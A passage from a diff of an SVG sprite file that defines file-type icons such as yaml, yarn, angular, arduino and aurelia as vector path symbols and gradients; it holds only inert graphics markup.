2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2m7 1.5V9h5.5L13 3.5M7 13l1.5 7h2l1.5-3 1.5 3h2l1.5-7h1v-2h-4v2h1l-.9 4.2L13 15h-2l-1.1 2.2L9 13h1v-2H6v2h1z" fill="#01579b"/></symbol><symbol viewBox="0 0 24 24" id="xaml" xmlns="http://www.w3.org/2000/svg"><path d="M18.93 12l-3.47 6H8.54l-3.47-6 3.47-6h6.92l3.47 6m4.84 0l-4.04 7L18 18l3.46-6L18 6l1.73-1 4.04 7M.23 12l4.04-7L6 6l-3.46 6L6 18l-1.73 1-4.04-7z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="xml" xmlns="http://www.w3.org/2000/svg"><path d="M13 9h5.5L13 3.5V9M6 2h8l6 6v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m.12 13.5l3.74 3.74 1.42-1.41-2.33-2.33 2.33-2.33-1.42-1.41-3.74 3.74m11.16 0l-3.74-3.74-1.42 1.41 2.33 2.33-2.33 2.33 1.42 1.41 3.74-3.74z" fill="#8bc34a"/></symbol><symbol viewBox="0 0 24 24" id="yaml" xmlns="http://www.w3.org/2000/svg"><path d="M5 3h2v2H5v5a2 2 0 0 1-2 2 2 2 0 0 1 2 2v5h2v2H5c-1.07-.27-2-.9-2-2v-4a2 2 0 0 0-2-2H0v-2h1a2 2 0 0 0 2-2V5a2 2 0 0 1 2-2m14 0a2 2 0 0 1 2 2v4a2 2 0 0 0 2 2h1v2h-1a2 2 0 0 0-2 2v4a2 2 0 0 1-2 2h-2v-2h2v-5a2 2 0 0 1 2-2 2 2 0 0 1-2-2V5h-2V3h2m-7 12a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1m-4 0a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1m8 0a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1z" fill="#f44336"/></symbol><symbol viewBox="0 0 24 24" id="yang" xmlns="http://www.w3.org/2000/svg"><path d="M12 2a10 10 0 0 1 10 10 10 10 0 0 1-10 10A10 10 0 0 1 2 12 10 10 0 0 1 12 2m0 2a8 8 0 0 0-8 8 8 8 0 0 0 8 8 4 4 0 0 1-4-4 4 4 0 0 1 4-4 4 4 0 0 0 4-4 4 4 0 0 0-4-4m0 2.5A1.5 1.5 0 0 1 13.5 8 1.5 1.5 0 0 1 12 9.5 1.5 1.5 0 0 1 10.5 8 1.5 1.5 0 0 1 12 6.5m0 8a1.5 1.5 0 0 0-1.5 1.5 1.5 1.5 0 0 0 1.5 1.5 1.5 1.5 0 0 0 1.5-1.5 1.5 1.5 0 0 0-1.5-1.5z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 289.99999 290.00001" id="yarn" xmlns="http://www.w3.org/2000/svg"><path d="M250.733 218.418c-12.39 2.943-18.661 5.653-33.993 15.641-24.004 15.487-50.176 22.688-50.176 22.688s-2.168 3.252-8.44 4.723c-10.84 2.633-51.647 4.878-55.364 4.956-9.988.077-16.105-2.555-17.809-6.66-5.188-12.388 7.434-17.809 7.434-17.809s-2.788-1.703-4.414-3.252c-1.471-1.47-3.02-4.413-3.484-3.33-1.936 4.724-2.943 16.261-8.13 21.45-7.125 7.2-20.598 4.8-28.573.619-8.75-4.646.62-15.564.62-15.564s-4.724 2.788-8.518-2.942c-3.407-5.266-6.582-14.248-5.73-25.32 1.084-12.777 15.176-25.011 15.176-25.011s-2.477-18.661 5.653-37.787c7.356-17.422 27.179-31.437 27.179-31.437s-16.648-18.352-10.454-35c4.027-10.84 5.653-10.763 6.97-11.227 4.645-1.781 9.136-3.717 12.466-7.356 16.648-17.964 37.864-14.557 37.864-14.557s9.911-30.431 19.203-24.469c2.865 1.859 13.163 24.778 13.163 24.778s10.996-6.426 12.235-4.026c6.659 12.931 7.433 37.632 4.49 52.654-4.955 24.778-17.344 38.096-22.3 46.459-1.161 1.936 13.319 8.053 22.456 33.373 8.44 23.152.929 42.587 2.245 44.756.232.387.31.542.31.542s9.679.774 29.114-11.228c10.376-6.427 22.688-13.628 36.703-13.783 13.55-.232 14.247 15.719 4.104 18.12z" fill="#2c8ebb" stroke-width=".774"/></symbol><symbol viewBox="0 0 24 24" id="zip" xmlns="http://www.w3.org/2000/svg"><path d="M14 17h-2v-2h-2v-2h2v2h2m0-6h-2v2h2v2h-2v-2h-2V9h2V7h-2V5h2v2h2m5-4H5c-1.11 0-2 .89-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2z" fill="#afb42b"/></symbol></svg> \ No newline at end of file
+<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><symbol viewBox="0 0 24 24" id="actionscript" xmlns="http://www.w3.org/2000/svg"><text style="line-height:113.99999857%" x="5.605" y="15.892" transform="scale(.91325 1.095)" font-weight="400" font-size="42.822" font-family="sans-serif" letter-spacing="0" word-spacing="0" fill="#f44336"/><path style="line-height:125%" d="M4.744 2.031c-1.157 0-1.994.31-2.51.93-.515.612-.771 1.678-.771 3.197v2.467c0 1.408-.402 2.111-1.201 2.111v2.035c.8 0 1.2.679 1.2 2.036v2.654c0 1.512.26 2.562.78 3.152.52.59 1.355.885 2.502.885V19.43c-.447 0-.77-.151-.97-.453-.195-.303-.292-.815-.292-1.538v-2.267c0-1.807-.404-2.937-1.214-3.395v-.045c.81-.464 1.214-1.581 1.214-3.351V6.025c0-1.283.42-1.925 1.262-1.925V2.03zm14.66 0V4.1c.842 0 1.262.642 1.262 1.925v2.268c0 1.843.402 2.996 1.207 3.46v.046c-.805.442-1.207 1.544-1.207 3.306v2.356c0 .715-.099 1.22-.299 1.516-.2.302-.52.453-.963.453v2.068c1.152 0 1.984-.295 2.494-.885.516-.59.772-1.663.772-3.218V14.84c0-1.379.404-2.069 1.209-2.069v-2.035c-.805 0-1.21-.696-1.21-2.09V6.113c0-1.49-.255-2.54-.77-3.152-.516-.62-1.348-.93-2.495-.93zm-3.054 4.46c-.455 0-.886.057-1.293.173a3.056 3.056 0 0 0-1.078.527c-.308.241-.551.549-.731.924-.18.37-.27.817-.27 1.336 0 .663.165 1.227.493 1.695.33.468.831.864 1.502 1.188.263.125.509.249.736.37.227.12.422.244.586.374.168.13.299.271.394.424a.963.963 0 0 1 .145.521c0 .144-.03.28-.09.405a.9.9 0 0 1-.275.318c-.12.088-.272.158-.455.21a2.34 2.34 0 0 1-.635.075c-.415 0-.825-.083-1.233-.25a3.644 3.644 0 0 1-1.13-.763v2.222a3.68 3.68 0 0 0 1.101.418c.427.093.875.139 1.346.139.459 0 .894-.05 1.305-.152a3.002 3.002 0 0 0 1.09-.5c.31-.237.556-.543.736-.918.183-.38.275-.849.275-1.405 0-.403-.052-.755-.156-1.056a2.542 2.542 0 0 0-.45-.813 3.295 3.295 0 0 0-.704-.633 6.754 6.754 0 0 0-.922-.535 12.4 12.4 0 0 1-.676-.348c-.2-.115-.37-.231-.51-.347a1.502 1.502 0 0 1-.322-.375.91.91 0 0 1-.115-.453c0-.153.033-.288.101-.408a.948.948 0 0 1 .29-.32c.123-.089.275-.156.454-.202a2.18 2.18 0 0 1 .598-.078c.16 0 .326.015.502.043.18.028.36.07.539.13.18.056.354.13.522.218.171.088.329.188.472.304V6.871a4.039 4.039 0 0 0-.957-.285 6.448 6.448 0 0 0-1.185-.096zm-8.774.165l-3.123 9.967h2.094l.605-2.217h3.053l.61 2.217h2.107L9.869 6.656H7.576zm1.072 1.78h.047c.028.347.077.646.145.896l.922 3.35H7.564l.934-3.377c.08-.288.13-.578.15-.87z" font-weight="400" font-size="51.019" font-family="sans-serif" letter-spacing="0" word-spacing="0" fill="#f44336"/></symbol><symbol viewBox="0 0 24 24" id="android" xmlns="http://www.w3.org/2000/svg"><path d="M15 5h-1V4h1m-5 1H9V4h1m5.53-1.84L16.84.85c.19-.19.19-.51 0-.71a.513.513 0 0 0-.71 0l-1.48 1.48C13.85 1.23 12.95 1 12 1c-.96 0-1.86.23-2.66.63L7.85.14a.501.501 0 0 0-.7 0c-.2.2-.2.52 0 .71l1.31 1.31C6.97 3.26 6 5 6 7h12c0-2-1-3.75-2.47-4.84M20.5 8A1.5 1.5 0 0 0 19 9.5v7a1.5 1.5 0 0 0 1.5 1.5 1.5 1.5 0 0 0 1.5-1.5v-7A1.5 1.5 0 0 0 20.5 8m-17 0A1.5 1.5 0 0 0 2 9.5v7A1.5 1.5 0 0 0 3.5 18 1.5 1.5 0 0 0 5 16.5v-7A1.5 1.5 0 0 0 3.5 8M6 18a1 1 0 0 0 1 1h1v3.5A1.5 1.5 0 0 0 9.5 24a1.5 1.5 0 0 0 1.5-1.5V19h2v3.5a1.5 1.5 0 0 0 1.5 1.5 1.5 1.5 0 0 0 1.5-1.5V19h1a1 1 0 0 0 1-1V8H6v10z" fill="#c0ca33"/></symbol><symbol viewBox="0 0 24 24" id="angular" xmlns="http://www.w3.org/2000/svg"><path d="M12.102 2.625l8.84 3.15-1.34 11.7-7.5 4.15-7.5-4.15-1.34-11.7 8.84-3.15m0 2.1l-5.53 12.4h2.06l1.11-2.78h4.7l1.11 2.78h2.05l-5.5-12.4m1.62 7.9h-3.23l1.61-3.87z" fill="#e53935"/></symbol><symbol viewBox="0 0 24 24" id="angular-component" xmlns="http://www.w3.org/2000/svg"><path d="M12.102 2.625l8.84 3.15-1.34 11.7-7.5 4.15-7.5-4.15-1.34-11.7 8.84-3.15m0 2.1l-5.53 12.4h2.06l1.11-2.78h4.7l1.11 2.78h2.05l-5.5-12.4m1.62 7.9h-3.23l1.61-3.87z" fill="#0288d1"/></symbol><symbol viewBox="0 0 24 24" id="angular-directive" xmlns="http://www.w3.org/2000/svg"><path d="M12.102 2.625l8.84 3.15-1.34 11.7-7.5 4.15-7.5-4.15-1.34-11.7 8.84-3.15m0 2.1l-5.53 12.4h2.06l1.11-2.78h4.7l1.11 2.78h2.05l-5.5-12.4m1.62 7.9h-3.23l1.61-3.87z" fill="#ab47bc"/></symbol><symbol viewBox="0 0 24 24" id="angular-guard" xmlns="http://www.w3.org/2000/svg"><path d="M12.102 2.625l8.84 3.15-1.34 11.7-7.5 4.15-7.5-4.15-1.34-11.7 8.84-3.15m0 2.1l-5.53 12.4h2.06l1.11-2.78h4.7l1.11 2.78h2.05l-5.5-12.4m1.62 7.9h-3.23l1.61-3.87z" fill="#43a047"/></symbol><symbol viewBox="0 0 24 24" id="angular-pipe" xmlns="http://www.w3.org/2000/svg"><path d="M12.102 2.625l8.84 3.15-1.34 11.7-7.5 4.15-7.5-4.15-1.34-11.7 8.84-3.15m0 2.1l-5.53 12.4h2.06l1.11-2.78h4.7l1.11 2.78h2.05l-5.5-12.4m1.62 7.9h-3.23l1.61-3.87z" fill="#00897b"/></symbol><symbol viewBox="0 0 24 24" id="angular-resolver" xmlns="http://www.w3.org/2000/svg"><path d="M12.102 2.625l8.84 3.15-1.34 11.7-7.5 4.15-7.5-4.15-1.34-11.7 8.84-3.15m0 2.1l-5.53 12.4h2.06l1.11-2.78h4.7l1.11 2.78h2.05l-5.5-12.4m1.62 7.9h-3.23l1.61-3.87z" fill="#43a047"/></symbol><symbol viewBox="0 0 24 24" id="angular-routing" xmlns="http://www.w3.org/2000/svg"><path d="M11 10H5L3 8l2-2h6V3l1-1 1 1v1h6l2 2-2 2h-6v2h6l2 2-2 2h-6v6a2 2 0 0 1 2 2H9a2 2 0 0 1 2-2V10z" fill="#43a047"/></symbol><symbol viewBox="0 0 24 24" id="angular-service" xmlns="http://www.w3.org/2000/svg"><path d="M12.102 2.625l8.84 3.15-1.34 11.7-7.5 4.15-7.5-4.15-1.34-11.7 8.84-3.15m0 2.1l-5.53 12.4h2.06l1.11-2.78h4.7l1.11 2.78h2.05l-5.5-12.4m1.62 7.9h-3.23l1.61-3.87z" fill="#ffca28"/></symbol><symbol viewBox="0 0 100 100" id="apiblueprint" xmlns="http://www.w3.org/2000/svg"><title>api-blueprint</title><path d="M50.133 7.521A16.998 16.998 0 0 0 33.135 24.52a16.998 16.998 0 0 0 4.945 11.974L24.861 57.398a16.998 16.998 0 0 0-3.175-.308A16.998 16.998 0 0 0 4.688 74.088a16.998 16.998 0 0 0 16.998 16.998 16.998 16.998 0 0 0 16.998-16.998 16.998 16.998 0 0 0-7.063-13.773l12.576-19.89a16.998 16.998 0 0 0 5.936 1.093 16.998 16.998 0 0 0 6.154-1.155l12.537 19.83a16.998 16.998 0 0 0-7.244 13.895 16.998 16.998 0 0 0 16.998 17 16.998 16.998 0 0 0 16.998-17A16.998 16.998 0 0 0 78.578 57.09a16.998 16.998 0 0 0-2.95.262L62.337 36.327A16.998 16.998 0 0 0 67.13 24.52 16.998 16.998 0 0 0 50.132 7.522z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="applescript" xmlns="http://www.w3.org/2000/svg"><path d="M18.71 19.5c-.83 1.24-1.71 2.45-3.05 2.47-1.34.03-1.77-.79-3.29-.79-1.53 0-2 .77-3.27.82-1.31.05-2.3-1.32-3.14-2.53C4.25 17 2.94 12.45 4.7 9.39c.87-1.52 2.43-2.48 4.12-2.51 1.28-.02 2.5.87 3.29.87.78 0 2.26-1.07 3.81-.91.65.03 2.47.26 3.64 1.98-.09.06-2.17 1.28-2.15 3.81.03 3.02 2.65 4.03 2.68 4.04-.03.07-.42 1.44-1.38 2.83M13 3.5c.73-.83 1.94-1.46 2.94-1.5.13 1.17-.34 2.35-1.04 3.19-.69.85-1.83 1.51-2.95 1.42-.15-1.15.41-2.35 1.05-3.11z" fill="#78909c"/></symbol><symbol viewBox="0 0 24 24" id="appveyor" xmlns="http://www.w3.org/2000/svg"><path d="M12 2c-.084 0-.165.008-.248.01a10 10 0 0 0-.266.01 9.952 9.952 0 0 0-.754.066 10 10 0 0 0-.148.018 9.855 9.855 0 0 0-.93.177 10 10 0 0 0-.07.02c-.196.049-.392.1-.584.16v.012a10 10 0 0 0-2 .875V3.34c-.02.012-.038.027-.059.039a10 10 0 0 0-.953.635c-.09.067-.172.142-.26.213a10 10 0 0 0-.628.546c-.109.104-.211.211-.315.319a10 10 0 0 0-.476.539c-.1.12-.201.237-.295.361a10 10 0 0 0-.52.766c-.088.143-.17.288-.252.435a10 10 0 0 0-.363.723c-.072.161-.136.327-.2.492a10 10 0 0 0-.269.778c-.02.067-.044.131-.062.199a10 10 0 0 0-.008.027c-.098.364-.166.728-.22 1.09-.012.077-.024.153-.034.23a9.85 9.85 0 0 0-.08 1.182c0 .03-.006.057-.006.086a10 10 0 0 0 .008.148c.001.094-.002.188.002.282l.011.004a10 10 0 0 0 .333 2.158l-.012-.004c.012.047.033.091.047.139a10 10 0 0 0 .322.955c.02.052.037.106.059.158a10 10 0 0 0 .503 1.035c.065.116.14.226.21.34a10 10 0 0 0 .423.64c.092.128.187.252.285.375a10 10 0 0 0 .448.52c.112.123.222.248.341.365a10 10 0 0 0 .803.719 10 10 0 0 0 .01.006c.099.078.207.146.309.22a10 10 0 0 0 .648.442c.138.085.28.163.424.242a10 10 0 0 0 .715.358c.114.051.226.106.343.154a10 10 0 0 0 1.133.389c.016.004.031.01.047.015a10 10 0 0 0 .461.098 10 10 0 0 0 .482.103 10 10 0 0 0 .418.051 10 10 0 0 0 .575.065 10 10 0 0 0 .144.005A10 10 0 0 0 12 22a10 10 0 0 0 .197-.01 10 10 0 0 0 .496-.025 10 10 0 0 0 .49-.043 10 10 0 0 0 .489-.074 10 10 0 0 0 .51-.098 10 10 0 0 0 .47-.12 10 10 0 0 0 .477-.14 10 10 0 0 0 .47-.172 10 10 0 0 0 .481-.197 10 10 0 0 0 .414-.201 10 10 0 0 0 .475-.252 10 10 0 0 0 .39-.238 10 10 0 0 0 .452-.301 10 10 0 0 0 .38-.291 10 10 0 0 0 .385-.315 10 10 0 0 0 .375-.347 10 10 0 0 0 .36-.363 10 10 0 0 0 .293-.334 10 10 0 0 0 .353-.434 10 10 0 0 0 .28-.393 10 10 0 0 0 .263-.4 10 10 0 0 0 .264-.461 10 10 0 0 0 .228-.436 10 10 0 0 0 .195-.437 10 10 0 0 0 .196-.48 10 10 0 0 0 .228-.69 10 10 0 0 0 .028-.094 10 10 0 0 0 .021-.066 10 10 0 0 0 .098-.461 10 10 0 0 0 .103-.482 10 10 0 0 0 .051-.418 10 10 0 0 0 .065-.575 10 10 0 0 0 .005-.144A10 10 0 0 0 22 12a10 10 0 0 0-.01-.197 10 10 0 0 0-.025-.496 10 10 0 0 0-.043-.49 10 10 0 0 0-.074-.489 10 10 0 0 0-.098-.51 10 10 0 0 0-.12-.47 10 10 0 0 0-.14-.477 10 10 0 0 0-.172-.47 10 10 0 0 0-.197-.481 10 10 0 0 0-.201-.414 10 10 0 0 0-.252-.475 10 10 0 0 0-.238-.39 10 10 0 0 0-.301-.452 10 10 0 0 0-.291-.38 10 10 0 0 0-.315-.385 10 10 0 0 0-.347-.375 10 10 0 0 0-.363-.36 10 10 0 0 0-.334-.293 10 10 0 0 0-.434-.353 10 10 0 0 0-.393-.28 10 10 0 0 0-.4-.263 10 10 0 0 0-.461-.264 10 10 0 0 0-.436-.228 10 10 0 0 0-.437-.196 10 10 0 0 0-.48-.195 10 10 0 0 0-.69-.228 10 10 0 0 0-.094-.028 10 10 0 0 0-.066-.021 10 10 0 0 0-.461-.098 10 10 0 0 0-.482-.103 10 10 0 0 0-.418-.051 10 10 0 0 0-.575-.065 10 10 0 0 0-.144-.005A10 10 0 0 0 12 2zm-.016 5.002a5 5 0 0 1 .262.01 5 5 0 0 1 .227.011 5 5 0 0 1 .341.05 5 5 0 0 1 .135.019 5 5 0 0 1 .014.004 5 5 0 0 1 .115.025 5 5 0 0 1 .303.076 5 5 0 0 1 .265.086 5 5 0 0 1 .2.074 5 5 0 0 1 .242.106 5 5 0 0 1 .228.11 5 5 0 0 1 .196.109 5 5 0 0 1 .244.15 5 5 0 0 1 .17.12 5 5 0 0 1 .224.171 5 5 0 0 1 .186.16 5 5 0 0 1 .176.164 5 5 0 0 1 .172.18 5 5 0 0 1 .177.203 5 5 0 0 1 .133.172 5 5 0 0 1 .16.223 5 5 0 0 1 .133.214 5 5 0 0 1 .12.21 5 5 0 0 1 .107.216 5 5 0 0 1 .109.24 5 5 0 0 1 .084.223 5 5 0 0 1 .08.242 5 5 0 0 1 .07.264 5 5 0 0 1 .047.207 5 5 0 0 1 .045.277 5 5 0 0 1 .028.227 5 5 0 0 1 .02.351 5 5 0 0 1 .003.079 5 5 0 0 1-.012.271 5 5 0 0 1-.011.227 5 5 0 0 1-.05.341 5 5 0 0 1-.019.135 5 5 0 0 1-.004.014 5 5 0 0 1-.025.115 5 5 0 0 1-.076.303 5 5 0 0 1-.086.265 5 5 0 0 1-.074.2 5 5 0 0 1-.106.242 5 5 0 0 1-.11.228 5 5 0 0 1-.109.196 5 5 0 0 1-.15.244 5 5 0 0 1-.12.17 5 5 0 0 1-.171.224 5 5 0 0 1-.16.186 5 5 0 0 1-.164.176 5 5 0 0 1-.18.172 5 5 0 0 1-.203.177l-.002.002c-.018.019-.028.035-.047.053l-3.959 5.09-3.05-.979a141.684 141.684 0 0 0 3.177-3.084 5 5 0 0 1-.103-.015 5 5 0 0 1-.149-.024 5 5 0 0 1-.115-.025 5 5 0 0 1-3.57-3.04 5.072 5.072 0 0 1-.206-.661 5 5 0 0 1-.033-.147c-.025-.118-.036-.24-.054-.36-.987.993-1.964 1.993-2.954 3.05l-.98-3.053 5.092-3.957c.043-.044.082-.07.125-.11a5 5 0 0 1 .71-.634c.18-.13.367-.25.561-.356a5 5 0 0 1 .16-.08 4.94 4.94 0 0 1 .516-.222 5 5 0 0 1 .147-.057c.211-.07.43-.123.654-.164a5 5 0 0 1 .172-.027c.236-.035.476-.058.722-.059zM12 9a3 3 0 0 0-.053.002 3 3 0 0 0-.166.01 3 3 0 0 0-.133.011 3 3 0 0 0-.17.026 3 3 0 0 0-.113.021 3 3 0 0 0-.19.05 3 3 0 0 0-.103.03 3 3 0 0 0-.16.057 3 3 0 0 0-.129.053 3 3 0 0 0-.146.072 3 3 0 0 0-.12.063 3 3 0 0 0-.132.082 3 3 0 0 0-.123.08 3 3 0 0 0-.116.088 3 3 0 0 0-.126.105 3 3 0 0 0-.1.094 3 3 0 0 0-.111.111 3 3 0 0 0-.096.107 3 3 0 0 0-.094.116 3 3 0 0 0-.098.136 3 3 0 0 0-.072.11 3 3 0 0 0-.076.133 3 3 0 0 0-.07.132 3 3 0 0 0-.063.14 3 3 0 0 0-.054.14 3 3 0 0 0-.077.228 3 3 0 0 0-.007.026 3 3 0 0 0-.03.138 3 3 0 0 0-.031.149 3 3 0 0 0-.014.11 3 3 0 0 0-.02.183 3 3 0 0 0-.001.052A3 3 0 0 0 9 12a3 3 0 0 0 .002.053 3 3 0 0 0 .01.166 3 3 0 0 0 .011.133 3 3 0 0 0 .026.17 3 3 0 0 0 .021.113 3 3 0 0 0 .05.19 3 3 0 0 0 .03.103 3 3 0 0 0 .057.16 3 3 0 0 0 .053.129 3 3 0 0 0 .072.146 3 3 0 0 0 .063.12 3 3 0 0 0 .082.132 3 3 0 0 0 .08.123 3 3 0 0 0 .088.116 3 3 0 0 0 .105.126 3 3 0 0 0 .094.1 3 3 0 0 0 .111.111 3 3 0 0 0 .107.096 3 3 0 0 0 .116.094 3 3 0 0 0 .136.098 3 3 0 0 0 .11.072 3 3 0 0 0 .133.076 3 3 0 0 0 .132.07 3 3 0 0 0 .135.06 3 3 0 0 0 .153.061 3 3 0 0 0 .216.07 3 3 0 0 0 .004.003 3 3 0 0 0 .026.007 3 3 0 0 0 .138.03 3 3 0 0 0 .149.031 3 3 0 0 0 .11.014 3 3 0 0 0 .183.02 3 3 0 0 0 .011.001 3 3 0 0 0 .041 0A3 3 0 0 0 12 15a3 3 0 0 0 .053-.002 3 3 0 0 0 .166-.01 3 3 0 0 0 .133-.011 3 3 0 0 0 .17-.026 3 3 0 0 0 .113-.021 3 3 0 0 0 .19-.05 3 3 0 0 0 .103-.03 3 3 0 0 0 .16-.057 3 3 0 0 0 .129-.053 3 3 0 0 0 .146-.072 3 3 0 0 0 .12-.063 3 3 0 0 0 .132-.082 3 3 0 0 0 .123-.08 3 3 0 0 0 .116-.088 3 3 0 0 0 .126-.105 3 3 0 0 0 .1-.094 3 3 0 0 0 .111-.111 3 3 0 0 0 .096-.107 3 3 0 0 0 .094-.116 3 3 0 0 0 .098-.136 3 3 0 0 0 .072-.11 3 3 0 0 0 .076-.133 3 3 0 0 0 .07-.132 3 3 0 0 0 .06-.135 3 3 0 0 0 .061-.153 3 3 0 0 0 .07-.216 3 3 0 0 0 .003-.004 3 3 0 0 0 .007-.026 3 3 0 0 0 .03-.138 3 3 0 0 0 .031-.149 3 3 0 0 0 .002-.008 3 3 0 0 0 .012-.101 3 3 0 0 0 .02-.184 3 3 0 0 0 .001-.011 3 3 0 0 0 0-.041A3 3 0 0 0 15 12a3 3 0 0 0-.002-.053 3 3 0 0 0-.01-.166 3 3 0 0 0-.011-.133 3 3 0 0 0-.026-.17 3 3 0 0 0-.021-.113 3 3 0 0 0-.05-.19 3 3 0 0 0-.03-.103 3 3 0 0 0-.057-.16 3 3 0 0 0-.053-.129 3 3 0 0 0-.072-.146 3 3 0 0 0-.063-.12 3 3 0 0 0-.082-.132 3 3 0 0 0-.08-.123 3 3 0 0 0-.088-.116 3 3 0 0 0-.105-.126 3 3 0 0 0-.094-.1 3 3 0 0 0-.111-.111 3 3 0 0 0-.107-.096 3 3 0 0 0-.116-.094 3 3 0 0 0-.136-.098 3 3 0 0 0-.11-.072 3 3 0 0 0-.133-.076 3 3 0 0 0-.132-.07 3 3 0 0 0-.14-.063 3 3 0 0 0-.14-.054 3 3 0 0 0-.228-.077 3 3 0 0 0-.026-.007 3 3 0 0 0-.138-.03 3 3 0 0 0-.149-.031 3 3 0 0 0-.008-.002 3 3 0 0 0-.101-.012 3 3 0 0 0-.184-.02 3 3 0 0 0-.011-.001 3 3 0 0 0-.041 0A3 3 0 0 0 12 9z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 720 720" id="arduino" xmlns="http://www.w3.org/2000/svg"><defs><symbol id="ana" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg"><path fill="none" stroke-opacity="100%" stroke-width="60" stroke="#00979c" d="M174 30a10.5 10.1 0 0 0 0 280C364 320 344 30 544 30a10.5 10.1 0 0 1 0 280C354 320 374 30 174 30"/><path d="M528 205v-32.8h-32.5v-13.7H528V126h13.9v32.5h32.5v13.7h-32.5V205H528z" text-anchor="middle" fill="#00979c" stroke-width="20" stroke="#00979c" font-family="sans-serif" font-size="167"/><path fill="#00979c" stroke="#00979c" stroke-width="23.6" transform="matrix(1.56 0 0 .64 -366 .528)" d="M321 266v-17.4h53.3V266H321z"/></symbol></defs><title>Layer 1</title><use x="20.063" y="360.85" transform="matrix(.997 0 0 .997 -18.596 -159.19)" xlink:href="#ana"/></symbol><symbol viewBox="0 0 24 24" id="assembly" xmlns="http://www.w3.org/2000/svg"><path d="M1.746 1.566v20.905H5.13v-2.088H3.438V3.656h1.69v-2.09H1.747zm17.219 0v2.09h1.693v16.727h-1.693v2.09h3.383V1.566h-3.383zM15.196 3.988c-.5 0-.93.076-1.29.225-.359.15-.652.372-.877.671-.226.302-.39.673-.494 1.108a6.715 6.715 0 0 0-.155 1.54c0 .573.049 1.083.15 1.528.1.442.264.811.49 1.11.222.298.512.524.872.676.36.153.795.23 1.304.23.518 0 .954-.075 1.308-.224.353-.153.643-.376.869-.671.219-.29.38-.661.484-1.112.104-.454.156-.967.156-1.54 0-.573-.052-1.079-.152-1.515a2.92 2.92 0 0 0-.485-1.106 2.09 2.09 0 0 0-.868-.686c-.354-.155-.79-.234-1.312-.234zm-6.814.12a.941.941 0 0 1-.138.458.849.849 0 0 1-.356.296A1.71 1.71 0 0 1 7.385 5a5.244 5.244 0 0 1-.631.037v1.11H8.19v3.6H6.754v1.188h4.545V9.745H9.894V4.11H8.382zm6.814 1.138c.375 0 .643.176.805.527.161.348.241.933.241 1.756 0 .814-.082 1.399-.247 1.756-.164.356-.43.534-.799.534-.369 0-.636-.178-.8-.534-.165-.357-.248-.941-.248-1.749 0-.829.082-1.415.243-1.763.162-.35.43-.527.805-.527zm-6.33 7.64c-.5 0-.93.073-1.29.223-.359.15-.651.374-.877.673-.225.302-.39.67-.494 1.106a6.715 6.715 0 0 0-.155 1.54c0 .573.05 1.082.15 1.527.1.442.264.814.49 1.112.222.3.514.525.874.677.36.152.793.229 1.302.229.519 0 .954-.076 1.308-.225.354-.153.643-.376.869-.672.22-.29.38-.66.484-1.111.104-.455.156-.967.156-1.54 0-.573-.05-1.079-.15-1.515a2.923 2.923 0 0 0-.487-1.106 2.084 2.084 0 0 0-.867-.686c-.353-.156-.791-.232-1.313-.232zm5.846.119a.941.941 0 0 1-.138.457.85.85 0 0 1-.356.296 1.71 1.71 0 0 1-.503.137 5.245 5.245 0 0 1-.631.037v1.112h1.435v3.597h-1.435v1.189h4.545v-1.189h-1.405v-5.636h-1.512zm-5.846 1.137c.375 0 .643.176.805.527.162.347.241.933.241 1.756 0 .813-.08 1.399-.245 1.755-.164.357-.432.534-.8.534-.37 0-.637-.177-.802-.534-.164-.356-.245-.939-.245-1.746 0-.83.08-1.418.242-1.765.161-.35.43-.527.804-.527z" fill="#ff6e40"/></symbol><symbol viewBox="0 0 24 24" id="aurelia" xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="api" x1="-31.824" x2="19.682" y1="-11.741" y2="35.548" gradientTransform="scale(.95818 1.0436)" gradientUnits="userSpaceOnUse" xlink:href="#apa"/><linearGradient id="apa" x1="-3.881" x2="2.377" y1="-1.442" y2="4.304"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="apj" x1="12.022" x2="-15.716" y1="13.922" y2="-23.952" gradientTransform="scale(.96226 1.0392)" gradientUnits="userSpaceOnUse" xlink:href="#apb"/><linearGradient id="apb" x1=".729" x2="-.971" y1=".844" y2="-1.477"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".29"/><stop stop-color="#CD0F7E" offset=".84"/><stop stop-color="#ED2C89" offset="1"/></linearGradient><linearGradient id="apk" x1="-23.39" x2="23.931" y1="-57.289" y2="8.573" gradientTransform="scale(1.0429 .95884)" gradientUnits="userSpaceOnUse" xlink:href="#apc"/><linearGradient id="apc" x1="-2.839" x2="2.875" y1="-6.936" y2="1.017"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="apl" x1="-53.331" x2="6.771" y1="-30.517" y2="18.785" gradientTransform="scale(.99898 1.001)" gradientUnits="userSpaceOnUse" xlink:href="#apd"/><linearGradient id="apd" x1="-8.212" x2="1.02" y1="-4.691" y2="2.882"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="apm" x1="-14.029" x2="41.998" y1="-23.111" y2="26.259" gradientTransform="scale(1.0003 .99965)" gradientUnits="userSpaceOnUse" xlink:href="#ape"/><linearGradient id="ape" x1="-1.404" x2="4.19" y1="-2.309" y2="2.62"><stop stop-color="#C06FBB" offset="0"/><stop 